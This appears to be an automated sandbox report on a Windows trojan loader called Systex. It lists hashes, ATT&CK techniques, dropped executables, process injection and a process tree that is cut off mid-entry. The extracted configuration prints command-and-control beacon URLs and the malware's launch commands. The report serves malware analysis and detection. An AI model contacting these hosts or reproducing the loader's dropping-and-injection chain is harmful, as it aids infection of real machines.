systex | 5d971f30f83171f0e38357d6eb2876f9fba3837edb61fdc8ac0f6c33287ac12b

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 17:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260706-wblwcset9j
SHA256 5d971f30f83171f0e38357d6eb2876f9fba3837edb61fdc8ac0f6c33287ac12b
MD5 bc5a3fa7ced31abd12bea3bb4cab02cc
SHA1 e0d2d03c4fc35a08da9356f7d2348d77fc9b31b9
SHA512 d0968f7ff18aaedf05b5eea411cf2daae7289c299ff16dd69beff4feb4547259fa124fac3dc48940ebcbe968d617ab6b18450dc42c9e5369ff2a6ae55f8886aa
SSDEEP 6144:XflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:XflfAsiVGjSGecvX
TLSH
T1AD747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4828	omgezwrojgbztrlj.exe
2500	omgezwrojgbztrlj.sys
5240	CreateProcess.exe
2580	jgbztrojhy.exe
4692	CreateProcess.exe
1068	CreateProcess.exe
3740	i_jgbztrojhy.exe
2836	toljdbztrl.sys
2544	CreateProcess.exe
2500	lgebwtolgd.exe
4892	CreateProcess.exe
1892	CreateProcess.exe
1240	i_lgebwtolgd.exe
5572	ysqlidbvtn.sys
2376	CreateProcess.exe
1908	qlidbvtnlf.exe
3992	CreateProcess.exe
3176	CreateProcess.exe
5560	i_qlidbvtnlf.exe
3380	gdxvtnlfdy.sys
1724	CreateProcess.exe
5640	xvtnlfdxvp.exe
412	CreateProcess.exe
1824	CreateProcess.exe
5816	i_xvtnlfdxvp.exe
5924	tnkfdxnhfa.sys
3856	CreateProcess.exe
4528	cxvpnhfzxs.exe
3544	CreateProcess.exe
5212	CreateProcess.exe
3592	i_cxvpnhfzxs.exe
2572	xvsmkfcxus.sys
2588	CreateProcess.exe
2140	pfzxspkhfz.exe
4672	CreateProcess.exe
5260	CreateProcess.exe
468	i_pfzxspkhfz.exe
5484	zwupmhfzxu.sys
5472	CreateProcess.exe
3728	rpjhczurmj.exe
6020	CreateProcess.exe
5636	CreateProcess.exe
2124	i_rpjhczurmj.exe
3556	hbztrmjebz.sys
3004	CreateProcess.exe
1124	wromhezwrm.exe
4088	CreateProcess.exe
2984	CreateProcess.exe
4240	i_wromhezwrm.exe
3576	omjebwuomg.sys
1240	CreateProcess.exe
5884	jebwuomgey.exe
2820	CreateProcess.exe
5536	CreateProcess.exe
5700	i_jebwuomgey.exe
5672	geywqojgbw.sys
5404	CreateProcess.exe
3380	nljdbvtrlj.exe
5476	CreateProcess.exe
2720	CreateProcess.exe
5128	i_nljdbvtrlj.exe
3444	qoigbytnlg.sys
556	CreateProcess.exe
4816	lgeytqljdb.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_484228744\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_1762831639\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_1762831639\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_484228744\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_1762831639\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_1762831639\manifest.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_459610002\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_372284287\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3752_372284287\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wromhezwrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wromhezwrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupnhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbztrojhy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgebwtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhczurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nljdbvtrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxvpnhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupnhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywrojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoidbvtqdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgebwtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgeytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqkicausn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoidbvtqdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbztrojhy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvtnlfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pfzxspkhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pfzxspkhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgeytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwupkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwrojgbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jebwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhczurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jebwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxvpnhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvtnlfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nljdbvtrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqkicausn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwupkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywrojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bywqoigbyt.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2452	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3724	ipconfig.exe
1836	ipconfig.exe
1744	ipconfig.exe
5744	ipconfig.exe
5380	ipconfig.exe
5764	ipconfig.exe
4592	ipconfig.exe
3532	ipconfig.exe
4840	ipconfig.exe
1288	ipconfig.exe
4872	ipconfig.exe
3572	ipconfig.exe
1384	ipconfig.exe
2884	ipconfig.exe
5896	ipconfig.exe
5500	ipconfig.exe
4660	ipconfig.exe
4156	ipconfig.exe
5572	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2049790993-2338060321-149346055-1000\{330C5B9F-E795-432F-B5F3-F731BF7AEFFB}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe
4828	omgezwrojgbztrlj.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3752	msedge.exe
3752	msedge.exe
3752	msedge.exe
3752	msedge.exe
3752	msedge.exe
3752	msedge.exe
3752	msedge.exe
3752	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3740	i_jgbztrojhy.exe
Token: SeDebugPrivilege	1240	i_lgebwtolgd.exe
Token: SeDebugPrivilege	5560	i_qlidbvtnlf.exe
Token: SeDebugPrivilege	5816	i_xvtnlfdxvp.exe
Token: SeDebugPrivilege	3592	i_cxvpnhfzxs.exe
Token: SeDebugPrivilege	468	i_pfzxspkhfz.exe
Token: SeDebugPrivilege	2124	i_rpjhczurmj.exe
Token: SeDebugPrivilege	4240	i_wromhezwrm.exe
Token: SeDebugPrivilege	5700	i_jebwuomgey.exe
Token: SeDebugPrivilege	5128	i_nljdbvtrlj.exe
Token: SeDebugPrivilege	5912	i_lgeytqljdb.exe
Token: SeDebugPrivilege	5584	i_nlfdxvqnig.exe
Token: SeDebugPrivilege	3084	i_ysqkicausn.exe
Token: SeDebugPrivilege	2108	i_hfzxvpnhca.exe
Token: SeDebugPrivilege	5584	i_cxupnhfzxr.exe
Token: SeDebugPrivilege	4364	i_ecwupkecwu.exe
Token: SeDebugPrivilege	1756	i_eywrojgbzt.exe
Token: SeDebugPrivilege	1616	i_bywqoigbyt.exe
Token: SeDebugPrivilege	2044	i_qoidbvtqdy.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3752	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5940 wrote to memory of 4828	5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	87
PID 5940 wrote to memory of 2764	5940	2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	88
PID 2764 wrote to memory of 3752	2764	iexplore.exe	89
PID 3752 wrote to memory of 2552	3752	msedge.exe	90
PID 3752 wrote to memory of 2452	3752	msedge.exe	92
PID 3752 wrote to memory of 1712	3752	msedge.exe	93
PID 3752 wrote to memory of 1712	3752	msedge.exe	93
PID 3752 wrote to memory of 1712	3752	msedge.exe	93
PID 3752 wrote to memory of 6024	3752	msedge.exe	94
PID 3752 wrote to memory of 6024	3752	msedge.exe	94
PID 3752 wrote to memory of 5184	3752	msedge.exe	95
PID 3752 wrote to memory of 5420	3752	msedge.exe	96
PID 3752 wrote to memory of 5184	3752	msedge.exe	95
PID 3752 wrote to memory of 5184	3752	msedge.exe	95
PID 3752 wrote to memory of 5420	3752	msedge.exe	96
PID 3752 wrote to memory of 5420	3752	msedge.exe	96
PID 3752 wrote to memory of 2128	3752	msedge.exe	97
PID 3752 wrote to memory of 2128	3752	msedge.exe	97
PID 3752 wrote to memory of 2128	3752	msedge.exe	97
PID 3752 wrote to memory of 1468	3752	msedge.exe	98
PID 3752 wrote to memory of 1468	3752	msedge.exe	98
PID 3752 wrote to memory of 1468	3752	msedge.exe	98
PID 3752 wrote to memory of 3416	3752	msedge.exe	99
PID 3752 wrote to memory of 3416	3752	msedge.exe	99
PID 4828 wrote to memory of 5240	4828	omgezwrojgbztrlj.exe	103
PID 2580 wrote to memory of 4692	2580	jgbztrojhy.exe	106
PID 3752 wrote to memory of 3820	3752	msedge.exe	109
PID 3752 wrote to memory of 2972	3752	msedge.exe	110
PID 3752 wrote to memory of 3820	3752	msedge.exe	109
PID 3752 wrote to memory of 2972	3752	msedge.exe	110
PID 3752 wrote to memory of 2756	3752	msedge.exe	112
PID 3752 wrote to memory of 6000	3752	msedge.exe	113
PID 3752 wrote to memory of 6000	3752	msedge.exe	113
PID 3752 wrote to memory of 5996	3752	msedge.exe	116
PID 3752 wrote to memory of 5996	3752	msedge.exe	116
PID 4828 wrote to memory of 1068	4828	omgezwrojgbztrlj.exe	117
PID 3752 wrote to memory of 424	3752	msedge.exe	119
PID 3752 wrote to memory of 424	3752	msedge.exe	119
PID 3752 wrote to memory of 424	3752	msedge.exe	119
PID 3752 wrote to memory of 1448	3752	msedge.exe	120
PID 3752 wrote to memory of 1448	3752	msedge.exe	120
PID 3752 wrote to memory of 1448	3752	msedge.exe	120
PID 4828 wrote to memory of 2544	4828	omgezwrojgbztrlj.exe	123
PID 2500 wrote to memory of 4892	2500	lgebwtolgd.exe	125
PID 3752 wrote to memory of 2828	3752	msedge.exe	128
PID 3752 wrote to memory of 2828	3752	msedge.exe	128
PID 3752 wrote to memory of 2828	3752	msedge.exe	128
PID 4828 wrote to memory of 1892	4828	omgezwrojgbztrlj.exe	129
PID 4828 wrote to memory of 2376	4828	omgezwrojgbztrlj.exe	133
PID 1908 wrote to memory of 3992	1908	qlidbvtnlf.exe	135
PID 4828 wrote to memory of 3176	4828	omgezwrojgbztrlj.exe	138
PID 4828 wrote to memory of 1724	4828	omgezwrojgbztrlj.exe	142
PID 5640 wrote to memory of 412	5640	xvtnlfdxvp.exe	144
PID 4828 wrote to memory of 1824	4828	omgezwrojgbztrlj.exe	147
PID 3752 wrote to memory of 2752	3752	msedge.exe	149
PID 3752 wrote to memory of 3740	3752	msedge.exe	150
PID 3752 wrote to memory of 2176	3752	msedge.exe	151
PID 4828 wrote to memory of 3856	4828	omgezwrojgbztrlj.exe	154
PID 4528 wrote to memory of 3544	4528	cxvpnhfzxs.exe	156
PID 4828 wrote to memory of 5212	4828	omgezwrojgbztrlj.exe	159
PID 4828 wrote to memory of 2588	4828	omgezwrojgbztrlj.exe	163
PID 2140 wrote to memory of 4672	2140	pfzxspkhfz.exe	165
PID 4828 wrote to memory of 5260	4828	omgezwrojgbztrlj.exe	168
PID 4828 wrote to memory of 5472	4828	omgezwrojgbztrlj.exe	172

C:\Users\Admin\AppData\Local\Temp\2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-06_bc5a3fa7ced31abd12bea3bb4cab02cc_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5940
- C:\Temp\omgezwrojgbztrlj.exe
  C:\Temp\omgezwrojgbztrlj.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgbztrojhy.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5240
  - - C:\Temp\jgbztrojhy.exe
      C:\Temp\jgbztrojhy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2580
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3572
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgbztrojhy.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1068
  - - C:\Temp\i_jgbztrojhy.exe
      C:\Temp\i_jgbztrojhy.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3740
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgebwtolgd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2544
  - - C:\Temp\lgebwtolgd.exe
      C:\Temp\lgebwtolgd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2500
    - - C:\temp\CreateProcess.exe
        
